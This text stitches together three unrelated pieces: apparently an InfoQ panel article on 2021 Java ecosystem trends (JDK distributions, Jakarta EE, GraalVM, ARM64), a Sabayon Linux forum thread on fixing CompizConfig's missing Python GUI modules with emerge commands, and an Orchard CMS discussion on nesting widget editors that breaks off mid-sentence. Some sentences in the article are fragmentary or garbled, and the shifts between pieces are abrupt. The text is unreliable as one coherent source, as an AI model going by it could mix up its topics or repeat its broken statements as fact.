OpenJDK Costlow: There are too many non-differentiated JDK distributions out there now. Microsoft has one, Eclipse has Adoptium with Temurin, Oracle has theirs and an OpenJDK build, Azul, AWS Corretto, Red Hat, Liberica, SAP Machine, etc. I'm seeing a proliferation of these, but it's hard to keep them straight. Snyk's survey seemed relatively in line with what I see in terms of usage. Given that they're all compatible, I'd like to see a "Just get me OpenJDK" randomizer in the marketplace to remove a decision for new junior Java devs. The Eclipse branding in particular is confusing: Adoptium is a group inside Eclipse, which is also a group. Temurin is the thing you use and it is OpenJDK. Imagine learning Java on your own and reading this sentence: "Eclipse Temurin is the name of the OpenJDK distribution from Adoptium." Fewer brand names is better. Janssen: Liberica, which is from Bellsoft, actually offers quite some interesting products which differentiate them from other JDK vendors. For instance, a full JDK which still contains JavaFX. I only know of ojdkbuild which offers a similar build. Next to that, they have more variants of the JDK and the JRE. Azul supports non-LTS versions with minor updates for a longer period of time. Some vendors offer Docker images, etc. So there are some differences, but it's hard for end users to compare them and make a good decision about which one to select. Java EE/Jakarta EE Rahman: The transition from Java EE to Jakarta EE is one of the largest and most significant technology transfers in our space. That is finally on solid ground with Jakarta EE 9.x. It is very good to see how Jakarta EE 10 is now progressing towards a release early next year. It looks like many of the items in the Jakarta EE Ambassador's Contribution Guide are materializing, closing some long-standing gaps. I think this is a big relief to long term Java EE users. I am also very happy to see Jakarta EE 9.x building momentum. Most runtimes have adopted the javax to jakarta namespace transition including Tomcat and Jetty. Spring Framework 6 is committed to adopting both Java SE 17 and Jakarta EE 9. Similarly, MicroProfile 5 is transitioning to Jakarta EE. According to the 2021 Jakarta EE Developer Survey, a substantial number of developers have already transitioned to the jakarta namespace or are planning to do so. The Jakarta EE 10 Core Profile is paving the way for Quarkus and Helidon becoming fully compatible, the MicroProfile Config API is transitioning to the new Jakarta Configuration specification and the same is happening with MicroProfile Context Propagation. It is possible the same will happen with the MicroProfile REST Client and JWT Propagation. Redlich: With the release of Jakarta EE 9,. GraalVM/Spring Native Mihalceanu: Building a native executable is another topic often marked as “most wanted” as the race for smaller, faster containerized applications continues. Rahman: It is also very good to see that Spring Native is making progress. Costlow: I like seeing the role of native apps taking shape, but disappointed by the lack of an actual specification or working group. It seems to be kind of "you get whatever GraalVM happens to do" and it behaves differently at times than a standard JDK - similar but not the same. Janssen: Spring Native competes with all the GraalVM and other frameworks with fast startup times and low memory usage. Silz: Once Spring Boot supports native compilation with GraalVM, fast and small native Java programs will go mainstream. This makes Java more competitive for serverless solutions and may help it in the microservices arena. I say "may" because as of today, I think that the JVM JIT still has better throughput/performance for long-running processes than GraalVM. Either way, that'll get a lot of press and make Java more competitive overall. ARM64/Windows on ARM Beckwith: ARM64 is now commodity hardware. As a result, the presence of Java development kits and the Java runtime environments optimized for deployment on ARM64 have gained mainstream popularity. Silz: Java 16 supports Windows on ARM. But I think only Java 17 with ARM on macOS will blow the doors wide-open. I believe about a quarter of all Java developers use Macs. And by the end of 2022, they can only buy Macs with ARM. I expect that this will push both Windows and Linux on ARM to get better, too. Jakarta EE and MicroProfile Alignment == Cloud Native for Java Redlich: The MicroProfile and Jakarta EE Working Groups, two complementary initiatives under the auspices of the Eclipse Foundation, have collaborated to form a Cloud Native for Java (CN4J), an alliance to define Jakarta EE and MicroProfile positioning and alignment, both branding and technical for cloud-native technologies. Rahman: It is a pleasant surprise to see Quarkus making well-earned headway with both Java EE and Spring developers. It is also very good to see Jakarta EE and MicroProfile alignment finally happening. JavaFX/Gluon Costlow: I am extremely impressed at the work that Gluon is doing to make a single JavaFX codebase run across everywhere. Web was the missing piece from before and, frankly, client Java now seems cool again. Adopting Modularity Silz: I think that JPMS tries to solve three problems: class loading woes for app servers; better structuring of the JDK and all Java applications; and reducing the JVM footprint for deployment/runtime. But at least when JPMS finally launched after multiple delays, there were good enough solutions for these problems already: OSGI for class loading; Domain-Driven Design/Clean Architecture/Modulith/ArchUnit tests for Java program structure; and ahead-of-time compilation for reduced JVM footprint. As few unreliable data points we may have, they all show usage of Java 8 and older either being greater than or equal to that of Java 11 and later. I think this is partly because modules gave Java 9+ the reputation of being "hard to upgrade to from Java 8," as Mark Reinhold acknowledges. That's an unintended consequence of JPMS. And it means that at least half of all Java developers can't use the Java advances of the last seven years because they're stuck on Java 8. The opportunity cost of working on modules for probably 7+ years means that many other Java improvements either fell to the wayside or only appeared in Java 10 and later. The var keyword for variables, the new switch syntax, and Java records reduce a lot of the boilerplate that Java's infamous for. If those were in Java 9 instead of Java modules, I think Java would be in a better place now because it had better developer productivity. What Has Changed Since Last Year? Beckwith: Many architects and developers have tamed the GC (garbage collection) pause times due to the improvements to the existing collectors. Many others have tamed the tail latencies by transitioning to low-latency, adaptive GCs for their workloads. Evans: Java 11 has essentially reached parity with Java 8 in terms of market share. Containers have broken through and are now the way that the majority of Java apps are deployed. Quarkus continues to mature and gain ground and new fans. Redlich: A few Eclipse Foundation Working Groups have been established: MicroProfile, OSGi and Adoptium (formerly known as AdoptOpenJDK). The MicroProfile Working Group and the Jakarta EE Working Group have collaborated on a Cloud Native for Java (CN4J) Alliance initiative. Microsoft furthers its commitment to Java by creating its own downstream distribution of OpenJDK, Microsoft Build of OpenJDK, and by joining the Java Community Process. What is the Java Community Saying? Beckwith: Pattern matching for switch statements, native image, cloud native-JVM, and JVM on accelerators, project Loom and Graal. Mihalceanu: Upgrading. Because the Java language evolved, framework features flourished as well. In my experience, writing clean and secure code promptly depends on the practices shared by a team. Nowadays, it is possible to minimize the time spent developing or fixing code with continuous testing and fewer local configurations thanks to some framework built-in capabilities. Rahman: Java SE 17 and Quarkus are enjoying the limelight. Kubernetes remains wildly popular. There is early enthusiasm around Spring Native. Folks in the open standard Java community are watching Jakarta EE 10 and MicroProfile/Jakarta EE alignment closely. There is something good happening pretty much for everyone in the ecosystem. Ritter: The focus for pretty much all developers, at least when working on new development, is how to make the most effective use of the cloud, especially through a microservice architecture. Leveraging containers and technologies like Kubernetes and Spring Boot are very powerful when writing these types of applications. I hear a lot of discussion about how to use these. Evans: Java 17, Loom, Quarkus. What’s New and Exciting That We Didn’t Expect? Beckwith: I had anticipated the richness of the Java ecosystem and the different JDK vendor flavors of the Java Dev Kits offerings. Still, the sheer participation and the agreement towards the accelerated release cadence were a welcome surprise. Mihalceanu: What I love about Java is that each release adjusts both the language and the experience of developers. Enhancements such as the new date formatter for period-of-day introduced in java.time.format.DateTimeFormatter and DateTimeFormatterBuilder classes, pattern matching with switch, or the default method toList() in java.util.stream.Stream interface help developers to write cleaner and easier to read code. Ritter: Looking at the Java platform, there wasn't anything we didn't expect and that's a good thing. Now that new features use JEPs to define what they are intended to do, we have a clear roadmap of the things that will be included in Java looking some years into the future. This means developers can be comfortable that there are not going to be big changes that impact backwards compatibility, at least not without plenty of time to evaluate and discuss them. Evans: A new focus on warm start / suspend-and-resume / CRaC technologies from a number of providers, including Azul and Red Hat. Redlich: The emergence of MicroStream, a Java persistence company. While their history goes back to 2013, the company was formally founded in 2019. Since then, they open-sourced MicroStream earlier this year with the release of MicroStream 5.0 and has collaborated with MicroStream has been integrated with Helidon and has just released version 6.0. Silz: After years of stagnation, VS Code is shaking things up in the Java IDE space. It's something new: A cross-platform, cross-language IDE that's fast, has great plug-ins, and is loved by its users! If that sounds like "Eclipse IDE 20 years ago", you're right! VS Code recently boosted its Java capabilities. I expect it to become the best free Java IDE. I think Eclipse recognized that threat and created a Working Group to coordinate a defense. I'm not sure how much IntelliJ will be affected. One exciting side effect of using VS Code for Java development is that you can easily develop with non-JVM languages. I don't think you can do that in Eclipse at all, or only in a limited way. You can develop with non-JVM languages using JetBrains "All Products Pack", but then you have to launch different IDES that don't share settings, plug-ins, or keyboard shortcuts. The Java Community Mihalceanu: I started my Java journey while in university, learning that Java supports Object-Oriented Programming with design patterns and coding best practices. As a professional, I am happy to see that throughout the time, the language has embraced other paradigms as well: functional, reactive thus giving more implementation options without losing the readability. How to choose between each model? Occasionally profile your application, spot bottlenecks, and improve your implementation logic. Yet, no advancement is possible without people. The Java Community is large, vibrant, and welcoming, present both physically and virtually all for one purpose: to share knowledge, improve ourselves, and succeed when facing problems. Please note that the viewpoints of our contributors only tell part of the story. Different parts of the Java ecosystem and locales may have different experiences. Our report for 2021 should be considered as a starting point for debate, rather than a definitive statement, and an invitation to an open discussion about the direction the industry is taking. QCon San Francisco Software Development Conference Oct 24-28, 2022 QCon San Francisco brings together the world's most innovative senior software engineers, architects and team leads across multiple domains to share their real-world implementation of emerging trends and practices. Uncover emerging software trends and practices to solve your complex engineering challenges, without the product pitches. Attend in-person on October 24-28, 2022 Inspired by this content? Write for InfoQ. Becoming an editor for InfoQ was one of the best decisions of my career. It has challenged me and helped me grow in so many ways. We'd love to have more people join our team. Community comments
https://www.infoq.com/articles/java-jvm-trends-2021/?itm_source=articles_about_microservice-frameworks&itm_medium=link&itm_campaign=microservice-frameworks
CC-MAIN-2022-27
refinedweb
3,267
52.7
I ma new to Raspberry and i successfully set up a model B with Raspbian 4 weeks ago (downloaded raspbian and put it on an SD card) The System boots up fine and i can use it - So far so good. Now i try to start a python3 program that i developed on an Ubuntu PC. I was glad to see that Python3 is already installed. But no luck with Matplotlib and pyplot. I was annoyed that al was set up so fine and here i already tried a lot, googling for a lot of single issues: Installing Pip3, installing Matplotlib (ok is normal) come over the Memory error when doing so, installing "cairo" without knowing what to do. So in the meantime i think i did something basic wrong. I would ask you to test, if this simple demo from works for you? And if yes - what did i make wrong? Code: Select all import matplotlib.pyplot as plt plt.plot([1,2,3,4]) plt.ylabel('some numbers') plt.show()
https://www.raspberrypi.org/forums/viewtopic.php?p=1331919
CC-MAIN-2021-10
refinedweb
172
81.83
kaddressbook/src #include <printstyle.h> Detailed Description The abstract interface to the PrintingWizards style objects. To implement a print style, derive from this class and read the information in printingwizard.h to see how this two pieces work together. Basically, the print style gets the contacts it is supposed to print from the PrintingWizard is will not change this set - neither its content nor its order. To register your new style in the printing wizard, you need to define a PrintStyleFactory that handles how your objects are created and deleted. See the existing print styles for examples. A print style should have a preview image that gives the user a basic impression on how it will look. Add this image to the printing folder and edit CMakeLists.txt to have it installed along with kaddressbook. Load it using setPreview( const QString& ). Your print style is supposed to add its options as pages to the printing wizard. The method wizard() gives you a pointer to the wizard object. Definition at line 66 of file printstyle.h. Constructor & Destructor Documentation Creates a new print style. - Parameters - Definition at line 36 of file printstyle.cpp. Destroys the print style. Definition at line 44 of file printstyle.cpp. Member Function Documentation Adds an additional page to the printing wizard, e.g. a configuration page for the style. - Parameters - Definition at line 82 of file printstyle.cpp. Hides all style specific pages in the printing wizard. Definition at line 107 of file printstyle.cpp. Returns the preferred contact field that shall be used for sorting. Definition at line 120 of file printstyle.cpp. Returns the preferred order that shall be used for sorting. Definition at line 125 of file printstyle.cpp. This method should be reimplemented to provide a preview of what the printed page will look like. An invalid pixmap is returned by default, which means no preview is available. Definition at line 48 of file printstyle.cpp. This method must be reimplemented to actually print something. - Parameters - Implemented in KABPrinting::CompactStyle, KABPrinting::DetailledPrintStyle, KABPrinting::MikesStyle, KABPrinting::RingBinderPrintStyle, and KABPrinting::GrantleePrintStyle. Sets the preferred sort options for this printing style. Definition at line 114 of file printstyle.cpp. Loads the preview image from the kaddressbook data directory. - Parameters - - Returns - Whether the image was loaded successfully. Definition at line 58 of file printstyle.cpp. Sets the preview image. Definition at line 53 of file printstyle.cpp. Show all style specific pages in the printing wizard. Definition at line 95 of file printstyle.cpp. Returns the printing wizard that is responsible for this style. Definition at line 77 of file printstyle.cpp. The documentation for this class was generated from the following files: Documentation copyright © 1996-2020 The KDE developers. Generated on Sat Mar 28 2020 08:37:01 by doxygen 1.8.7 written by Dimitri van Heesch, © 1997-2006 KDE's Doxygen guidelines are available online.
https://api.kde.org/4.x-api/pim-apidocs/kaddressbook/src/html/classKABPrinting_1_1PrintStyle.html
CC-MAIN-2020-16
refinedweb
482
61.53
I've been wanting to do this for a number of years, for projecting at parties, but am just not technical enough to have sorted it myself. I'd like to be able to point VLC at a folder, and for it to randomly play at full screen a random movie file (could be avi, mpg, vob, etc...), from a random point, for a random length of time (with a cap of, say, max 1 min and min of 5 secs) before it picks another random file to play. Ideally, as most of my video files are in subfolders in my main movie directory, it would ignore directory structure to pick the files. Also, there's often txt/nfo/jpg/png/mp3/flac files in such folders, which should be ignored, or at least not throw an error/stop the process if encountered. I found a post here: ...where a guy pretty much figured out something similar using a Python script - but I've no idea how to impliment such a thing? I'm on a MacBook, can it be done from Terminal and if so, how? Thanks for any help! Free invite to my party for anyone that cracks it. + Reply to Thread Results 1 to 27 of 27 Thread Last edited by Gibson's Squares; 22nd Sep 2015 at 21:46. Okey. I'm testing the script on my macbook now... First try: VLC does not create any socket file. Second try: I saved the socket in /Users/Myusername/vlc.sock and now that works...now try the python script... Last edited by Baldrick; 23rd Sep 2015 at 03:58. It works! Configure first VLC( I use 2.2.1) with the Remote control. And add the socks path and fake TTY, I use /Users/Yourusername/vlc.sock . ( step 2 and step 3) Download my vlc.py.zip . Extract it. Edit it with some basic texteditor...I don't think textedit will work as it only can save complex crappy formats. I hate MAC OS X ... . Replace the socketpath Code: SocketLocation = "/Users/Yourusername/vlc.sock" Code: MoviesDir = "/Volumes/movies" Code: if(MovieFile.endswith(".mp4") or MovieFile.endswith(".mkv") or MovieFile.endswith(".avi") or MovieFile.endswith(".ts")): Start VLC. Do not open any video files. Start a Terminal and type Code: python /Users/Yourusername/vlc.py But I don't think it will work with subfolders. I will try that later. - - No, it's only pulling in movie files sitting in the root of my specified directory. Is there a way to get it to look in folders? I saw there was a command in python to search through a directory and all its subfolders, but I don't know how you'd implement it into this script: Also, I tried to make the duration of each clip random in length, by changing Line 22 of your script to: IntervalInSeconds = random.randint(5,30) ...but it gets ignored, and just plays for 15 seconds every clip?? What have I done wrong? Lastly, between each clip the video window closes and then a new video window opens. Is it possible to keep the video window open when it jumps to the next title in the playlist? Last edited by Gibson's Squares; 23rd Sep 2015 at 20:39. I think you need to add Code: import random I will see if I can find any python subfolders examples. I have never coded in python... Yep. I noticed that the windows closes and open again. Maybe can you change some setting in VLC to adjust that? Check the VLC forums. edit: Okey random was already added....so I have no idea why random wont work. Try google python random Last edited by Baldrick; 24th Sep 2015 at 04:07. Try replace Code: ## Loop through the directory listing and add each avi or divx file to the playlist for MovieFile in RawMovieFiles: + "\"") Code: for root, dirs, files in os.walk(MoviesDir, topdown=False): for MovieFile in files: + "\"") Last edited by Baldrick; 24th Sep 2015 at 04:32. Oooh... it's almost there. It's finding the files in subfolders, but then because it's ignoring the directory tree to find them, it's not passing the correct path for VLC to play it. eg. I'm getting the error: returning: Trying to add /Users/MyMac/Movies/MyMovie.avi to playlist. add: returned 0 (no error) In the above instance the file was gotten from some path like /Users/MyMac/Movies/MySubdirectory1/MySubdirectoy2/MyMovie.avi MySubdirectory1 and MySubdirectoy2 are missing from the filepath given to VLC. Regarding the random line not working, I'm wondering does it only encounter this line once, therefore it picks a random number but then plays all files for that length, rather than loop through each time it plays a file to generate a new number? Okey, maybe something like + "\"") And then add Code: IntervalInSeconds = random.randint(5,30) Code: if tries < 50: - + "\"") /Users/MyMac/Movies//Users/MyMac/Movies/MySubdirectory1/MySubdirectoy2/MyMovie.avi The new random line seemed to cause a syntax error in the line below it, this is what I get: StartTimeCode = random.randint(30, int(FileLength) - IntervalInSeconds); IndentationError: unindent does not match any outer indentation level (and there's a little pointer to the semi colon at the end of the line it quoted. If I remove the semi colon it has the same error and points to the closed bracket.) Remove the MoviesDir in RunVLCComm \"" + MovieFile + "\"") IndentationError means that you must put the code exactly correct using tabs(not spaces). It should be at same position as StarttimeCode = ... I do not like Python... Wow, strict! OK, got the indendation problem sorted, and the random length time is working great. I've looked for settings in VLC to keep the movie window active at all times (rather than closing and opening with each new movie), to no avail. However, I noticed that if I manually press Forward or Back while the script is running, it changes the movie no problem without an open/close. I wonder if, therefore, the new 'random duration' variable could be re-used to tell VLC to skip to next clip a second or so before it was due to end (eg 'at IntervalInSeconds - 2seconds go Next'), and that would stop the window from closing? Last edited by Gibson's Squares; 24th Sep 2015 at 07:47. Instead of Code: RunVLCCommand("stop") tries = 0 ## Wait until the video stops playing or 50 tries, whichever comes first while tries < 50 and RunVLCCommand("is_playing").strip() == "1": time.sleep(1) tries+=1 Code: RunVLCCommand("next") Woahh... think that's stopped it opening and closing! Thanks so much. So excited. Only thing still awry is the filepath error for the subfolders where it creates a path like this: /Users/MyMac/Movies//Users/MyMac/Movies/MySubdirectory1/MySubdirectoy2/MyMovie.avi Is it possible to make it ignore the initial root it was given at the start of the script when it's joining the root to the filename in this line: MovieFile = os.path.join(root, name) ? - Ah yes, just removed it and it's picking up the correct filepaths now, however it's not finding all the files for some reason. Is it limited to how many folders deep it looks? It seems to be mainly .vob files missing (I added 'or MovieFile.endswith(".vob") or MovieFile.endswith(".mpg") or MovieFile.endswith(".flv")' to your list). The Vobs are usually in video_ts folders inside another folder, are they too deep I wonder? Also, i just left it running with all the files it did find, and it looks fab! Until one file needed its index rebuilding and paused the whole process with an error window: Broken or missing AVI Index Because this AVI file index is broken or missing, seeking will not work correctly. VLC won't repair your file but can temporary fix this problem by building an index in memory. This step might take a long time on a large file. What do you want to do? Play as is / Do not play / Build index then play - You can try add .lower() (make the text lowercased) to .endswith and also replace all endswith with one comma separated: if(MovieFile.lower().endswith(".mpg",".mkv",".mp4" ,".vob",".m4v",".flv",".avi",".wmv")): if(MovieFile.endswith(".mp4") or MovieFile.endswith(".mkv") or MovieFile.endswith(".mov") or MovieFile.endswith(".avi")): Last edited by Baldrick; 25th Sep 2015 at 03:32. Hey, good spot - yes, it was just a case issue. It's now loading pretty much every file, of which yes, in over 300 folders there's almost 1000 movie files so hard to pick out the bad ones easily. I can cope though, thanks so much for sorting this - you definately get an invite to the next party! BTW, I tried the single commer seperated line but was informed that statement can only have max 3 things in it, not 8. I guess you hate Python even more now. ;D - Hey... here's the final python script that we ended up with. It's still got a few quirks which seem to happen inconsistantly, so it's hard for me to replicate them to figure out why they're happening. I'll list them just in case they're obvious to anyone: 1. While the script is first populating the playlist, VLC attempts to play files but only does for around a second each time, and not in fullscreen. I have about 300 subfolders with around 1000 movie files to collate, and it takes my machine around 15s to complete the playlist. Maybe the script needs to wait until the playlist is complete, I'm not sure?. 4. Sometimes it seems to lose the duration value, and end up playing each movie in its entirety. 5. If VLC encounters an error that generates a dialogue box (I often got 'file not indexed properly, would you like to fix it?') it will just pause the whole process until you click a button to dismiss the dialogue box. I'm totally happy to work around these, as I've been after a script like this for years, and I'm thrilled that someone helped me get this far. But if they're easy fixes, please let me know. Last edited by Gibson's Squares; 28th Sep 2015 at 10:14. > And this should work in windows also if you just install python. Windows does not have these CLI tools like nc or pipes, nor does it have socket files. I have taken a few hours to modify the script to work via a TCP socket so it will work from Windows. To make it work, use the command line or set up a shortcut to run VLC like this: vlc -I rc --rc-host localhost:6969 Warning: This will open a network connection on your computer to receive data from any computer connected to you via a network. I wouldn't worry about it though, you probably have a firewall to stop anything from the outside and the worst somebody could do with it is show you a video. The script is mostly the same. I can address a few of the points that were raised. >. These are both caused by the change you made to play the "next" video before picking a new random video to play. That makes no sense. The video should be stopped each time or the seek command may be applied to a video other than the one that's about to show (#3). Another way would be to sleep briefly after giving it the command to load another random video so it will probably be loaded by the time the seek command is sent, but that won't be much better than seeing the thing close and reopen each time, as the video will appear to flicker. > 4. Sometimes it seems to lose the duration value, and end up playing each movie in its entirety. This means your python script has crashed and VLC is just playing files regularly and uninterrupted. This was happening to me due to some of the changes to the random function calls. Example: It was set so it could never start in the first 30 seconds of a video, but some of my videos were less than 30 seconds long, crashing the script. Stopping the video each time is necessary but not sufficient to get it working properly. Without stopping the video it can get the length of the wrong video when it queries for that, so it was causing some of the problems. Even with stopping the video each time though the seek command can still get sent before the next video is ready for it and it can be ignored. So I have an updated script which unlike the one I posted before will not crash due to file length issues, and it will (almost certainly) jump to a random point in each file. The 300 millisecond wait for that last part seems excessive and for a faster system it may be but for mine it is necessary to ensure the file is loaded and ready for the seek command. Convert all your videos to MPG and save the original as a backup... The auto catalog for golf video is play the complete clip.. Then at 3 seconds from the end play in slow motion. 200+ clips from 2 camcorders were up and playing before the golfers finished their awards supper.. Last edited by SpectateSwamp; 2nd Feb 2018 at 12:28. Reason: add video For Windows 7, I wrote this script and it's the best solution I have found: Similar Threads Random AV Desynch after EditingBy eeb3 in forum EditingReplies: 2Last Post: 18th Apr 2014, 13:50 What FREEware WEB Video Player with RANDOM play, ANNOTATIONS, INTERFACE,..?By WhatWebVideoPlayer? in forum Newbie / General discussionsReplies: 70Last Post: 27th Nov 2012, 16:44 Computer random turn onBy WinSpecToR in forum ComputerReplies: 10Last Post: 31st Jan 2012, 16:09 Videolan VLC Play Random Parts of Playlist MoviesBy ilcarletto in forum ProgrammingReplies: 2Last Post: 6th Apr 2011, 03:51
https://forum.videohelp.com/threads/374233-Play-random-section-from-random-movies-in-VLC?s=a3d82cb10f906a02190f84c91b425a1d
CC-MAIN-2019-47
refinedweb
2,359
72.87
Forum:How do i create a namespace for my talk page From Uncyclopedia, the content-free encyclopedia Note: This topic has been unedited for 2958 days. It is considered archived - the discussion is over. Do not add to unless it really needs a response. - Short answer: No. Also, if you're going to make help topics, place them in the correct forum. We have a Help forum for a reason, you know. -- 01:22, 21 June 2007 (UTC) - Do you mean like making pages such as User Talk:B0n b0ns/page? --Starnestommy (Talk • Contribs • FFS • WP) 01:32, 21 June 2007 (UTC) - If so, just type it into the search box, press go and click "create page". Just make sure it starts with "User Talk:B0n b0ns/" (or indeed "User:B0n b0ns/") so that it's under your own userpage space. --Whhhy?Whut?How? *Back from the dead* 09:14, 21 June 2007 (UTC) - User: B0n b0ns/ looks like the brand name for Communist-era chocolates (Product of Norilsk. "Coco is eating of pleasure. Joy for all comrades!:. Sir Modusoperandi Boinc! 15:25, 21 June 2007 (UTC) - I guess he's asking because he was trying to create a forum for his talk page, and was confused by the namespace= part of the forum setup in the VD. • Spang • ☃ • talk • 05:18, 22 Jun 2007
http://uncyclopedia.wikia.com/wiki/Forum:How_do_i_create_a_namespace_for_my_talk_page?t=20070622051803
CC-MAIN-2015-32
refinedweb
225
82.75
Nextjs + SEO How to Add SEO in the Nextjs app? Add full support of SEO with copy-paste of code. SEO help to grow your website audience widely. Without SEO, you never grow up your website. We add SEO within 10 mint on your next.js website. So you do not need to write an extra line of code on your next.js website. Instead, you copy and paste code to achieve SEO power. All the codes are available on GitHub Repo. You can also check the final website demo with vercel. Requirments - The latest version of next.js - Basics knowledge of SEO schema - NPM The latest version of next.js Make sure you have the latest version of nextjs if possible otherwise, you use an old version of nextjs, but the method is not changed. What is schema.org Schema.org is an open-source project built by Google, Microsoft, Yahoo, and Yandex. Schema.org help to define a universal schema for all search engine. Schema.org - Schema.org Schema.org is a collaborative, community activity with a mission to create, maintain, and promote schemas for… schema.org. NPM NPm is a javascript package manager. With the npm, you can add the other library into your nextjs app. There are serval libraries in nextjs to provide SEO functionality. next-seo Next, SEO is a plugin that makes managing your SEO easier in Next.js projects. Pull requests are very welcome. Also make… @moxy/next-seo SEO for Next.js. Latest version: 1.0.0, last published: 10 months ago. Start using @moxy/next-seo in your project by… Steps - Install library - Folder structure - Universal SEO - Page By page SEO Install library In the first step, you install a library. the npm library name is next-seo . the next-seo provide lots of functionality to developers, and secondly, it is easy to use. npm install -D next-seo next-seo Next SEO is a plugin that makes managing your SEO easier in Next.js projects. Pull requests are very welcome. Also make… Folder structure Universal SEO Universal SEO means you define some common SEO information that defines one place or time, and it is available on all pages in nextjs. In Nextjs, you can handle universal seo very easily. nextjs provide custom _app.jshelp to handle Universal SEO. Firstly we create a file at the root level with next-seo.config name. The file name is fixed and never be changed. export default { openGraph: { type: 'website', locale: 'en_IE', url: '', site_name: 'Rajdeep Singh', }, twitter: { handle: '@Official_R_deep', site: '@Official_R_deep', cardType: 'summary_large_image', }}; After we pass ./next-seo.config file as props into the DefaultSeo component. The DefaultSeo component provides by next-seo itself. import '../styles/globals.css'import Header from "../components/Header";import Footer from "../components/Footer";import { DefaultSeo } from 'next-seo';import SEO from '../next-seo.config';function MyApp({ Component, pageProps }) {return ( <><DefaultSeo {...SEO} /><Header/><Component {...pageProps} /><Footer /></>)}export default MyApp Page By page SEO We pass only those relevant SEO data to the page component. import { NextSeo } from 'next-seo';import Post from '../components/Post'import Banner from "../components/Banner";import Sidebar from "../components/Sidebar"import { ImageUrl} from '../utils'export default function Home({ posts }) {return (<div> <NextSeo title="Welcome to my blog home page" description="Build nextjs blog website with Markdown, sitemap, serachbar, category, tag and SEO support" openGraph={{ url: '', title: 'Welcome to my blog home page', description: 'Build nextjs blog website with Markdown, sitemap, serachbar, category, tag and SEO support', images: [ url: `${ImageUrl('banner.png')}`, width: 1224, height: 724, alt: 'banner', type: 'image/jpeg', }, ],}}/><Banner /><div className="container"> <div className="row"> <div className="col-lg-8"> { posts.map((post, index) => ( <Post key={index} post={post} /> )) } </div> <Sidebar /> </div> </div></div>)} All the codes are available on GitHub Repo. You can also check the final website demo with vercel. Conclusion In this way, you easily add SEO in your nextjs. All the nextjs base SEO library is good. You can use any of them and build an SEO schema for your website. You can follow me on Twitter and tweet with me. Suppose you like more articles about Linux, Ubuntu, and Raspberry pi 4. Then you visit my website. Read More content at Nextjs
https://medium.com/nextjs/how-to-add-seo-in-the-nextjs-app-4eb745a382a7?source=user_profile---------6----------------------------
CC-MAIN-2022-27
refinedweb
703
68.87
Moderator: Moderators * Using the Qt4 Interface * No module named PyQt4 ... Trying another interface * Using the Qt3 Interface * No module named qt ... Trying another interface * Using the GTK Interface * No module named pygtk ... Trying another interface * Error: All interfaces failed, aborting! Traceback (most recent call last): File "/usr/bin/ccsm", line 22, in <module> import pygtk ImportError: No module named pygtk Calculating dependencies \ !!! All ebuilds that could satisfy "net-print/hplip:0" have been masked. !!! One of the following masked packages is required to complete your request: - net-print/hplip-1.7.4a-r2 (masked by: package.mask) - net-print/hplip-2.7.9-r1 (masked by: package.mask) For more information, see MASKED PACKAGES section in the emerge man page or refer to the Gentoo Handbook. If you haven't already (I'm assuming you're using sabayon 3.4) add these USE flags to /etc/make.conf .. gtk jpeg vorbis opengl png gif mad sdl truetype mpeg KDE Only: arts qt3 qt4 qt3support nano /etc/make.conf These are the packages that would be merged, in order: Calculating dependencies | emerge: there are no ebuilds to satisfy "dev-python/python-musicbrainz2:0". emerge - C python-musicbrainz emerge --sync && layman -S && emerge -av python-musicbrainz Return to 3D Desktops and Window Managers Users browsing this forum: No registered users and 0 guests
https://forum.sabayon.org/viewtopic.php?p=66499
CC-MAIN-2016-36
refinedweb
221
58.79
CodePlexProject Hosting for Open Source Software It's for my Facebook Suite module: there are widgets that provide FB social plugins. I'd like to attach these widgets to content types, so e.g. all Pages have FB comments. Doing this with the same part the widgets have has the drawback that the widget settings have to be configured with every content item. Therefore I'd like to configure attached widgets on a per content type basis, with TypePartEditors. Now the easiest way would be to duplicate widget editors, widget parts, etc. as type part settings, but that's a ridiculously bloated copy-pasta. The idea I had was to basically attach widgets to content types, as following: public class FacebookCommentsBoxSettingsHooks : ContentDefinitionEditorEventsBase { public override IEnumerable<TemplateViewModel> TypePartEditor(ContentTypePartDefinition definition) { var model = new FacebookCommentsBoxTypePartSettings(); // ... model.WidgetEditor = _contentManager.BuildEditor(widgetItem); yield return DefinitionTemplate(model); } } Then display model.WidgetEditor in the definition template and update the widget content item in TypePartEditorUpdate() with ContentManager.UpdateEditor(). Now this would work except that since the "FacebookCommentsBoxTypePartSettings" prefix is added to the form fields, the widget's fields (which have their own prefix assigned in the parts' driver) are not updated correctly. What could be done? Or something else... Thank you for reading and for any help in advance. Is there any reason you can't just have site-wide Facebook settings, and then a part which simply enables the comments on that type, always using the site settings? The real issue with this as you found out is that IContentManager.BuildEditor won't accept a prefix. I've spent actually substantial amounts of time trying to figure out ways to make this work to build nested editors on relationships, and I concluded it's just currently not possible, because the prefixes are always - uh, no, wait, I've had an idea half way through that sentence, and curiously it involves Clay Behaviors. I was wondering what to do for my 3rd tutorial and now I know :) By the way; you can already attach widgets to content items with the Mechanics module (using Paperclips to push them to zones). But my 1.0 release should do this a lot better, especially if I get nested editors working! Thank you for you thoughts! Site-wide settings would work well but I currently aim for a flexibility where social plugins can be configure per basis of the location of usage (that means, widgets can be independently configured and widgets appearing on a specific content type too). Now regular widgets with properly set-up layers are to an extent suitable too (at least if content types can be distinguished well by url, e.g. blog posts have the url prefix "blog/"). Actually I thought about Science Project :-), but I though what I wanted to do should not be really hard. It isn't, except for the prefix part... And also because I wanted the users to provide a built-in feature for such a seemingly simple task. Wow, curious about the idea that interrupted your sentence :-). It's not hard to do it with Science Project ... and actually it's better than the normal widget interface in some ways because, for instance, a single widget instance can be connected to multiple different places, instead of the layers system often forcing you to duplicate a widget. This would solve your settings problem quite effectively, you can just reuse the same widget everywhere you needed it. If you wanted it automatically on a specific content type, you could program a handler that automatically created a connection (using the Mechanics API) each time that content type was published. That's the only code you'd have to write; most of the Mechanics setup can be done entirely in the UI. Anyway, that idea I had: I quickly had a go at implementing it and it looks pretty good. Have a look at this behavior: It's pretty simple itself; but to use it you'll need your own version of IContentDisplay, because you need to a) send in a prefix (different method signature) and b) modify the line of code where ZoneHoldingBehavior is instanced. But in the Origami module I already have a custom, more flexible replacement for IContentDisplay so it was easy to do ... So technically now you should be able to get recursively nested editors across Mechanics relationships, but I haven't enabled it yet because styling will be a nightmare. Thanks again. I didn't mean it would be hard with Science Project :-), I've meant that I thought implementing the nested editor wouldn't be a complex task. I took a look at your code: do I correctly understand that you there the Prefix of the shape is set? Would that solve the problem? I tried to alter prefixes from the Debugger, it doesn't seem to do anything (this was on the built editor shape, so it's maybe too late for that there). But anyway, the IUpdateModel in the Driver methods would still use the 